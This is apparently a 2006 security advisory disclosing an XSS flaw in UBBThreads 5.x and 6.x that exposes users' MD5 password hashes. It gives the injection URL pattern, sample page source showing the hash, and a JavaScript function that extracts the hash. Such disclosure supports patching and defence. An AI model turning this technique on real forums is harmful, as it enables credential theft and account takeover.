exploit the possibilities

UBBThreads-md5.txt

UBBThreads-md5.txt
Posted May 29, 2006
Authored by splices | Site securident.com

The XSS vulnerabilities reported for UBBThreads 5.x,6.x will allow you to inject javascript and steal MD5 Hashes.

tags | exploit, javascript, vulnerability
MD5 | 7b8a682ad449ff74b787d53c15f3231c

UBBThreads-md5.txt

Change Mirror Download
UBBThreads 5.x,6.x md5 hash disclosure
-------------------------------------------
Using XSS such as the one reported earlier:

http://[site]/[ubbpath]/index.php?debug=[xss]

will allow you to inject javascript and steal MD5 Hashes from:

http://[site]/[ubbpath]/editbasic.php

The MD5 is automatically included in the source of the html for a logged on user, the field type is password so it appears as "******" - although the source contains the MD5. Below is an example snippet of the html source:


<input type="password" name="ChosenPassword" value="81dc9bdb52d04dc20036dbd8313ed055" class="formboxes" />
<br />
<br />
Verify Password
<br />

<input type = "password" name = "Verify" value = "81dc9bdb52d04dc20036dbd8313ed055" class="formboxes" />

A malicious attacker could force a user to perform a GET request to the xss containing js to steal their hash.

The below javascript would grab the MD5 using the XMLHttpRequest object. str is defined as the ResponseText from XMLHttpRequest()

function findmd5(str){
var s = str.indexOf('name="ChosenPassword" value="');
var e = str.indexOf('" class=f', s);
return str.substring(s+29, e);
}
-------------------------------------------------
Discovered By:

splices
www.securident.com

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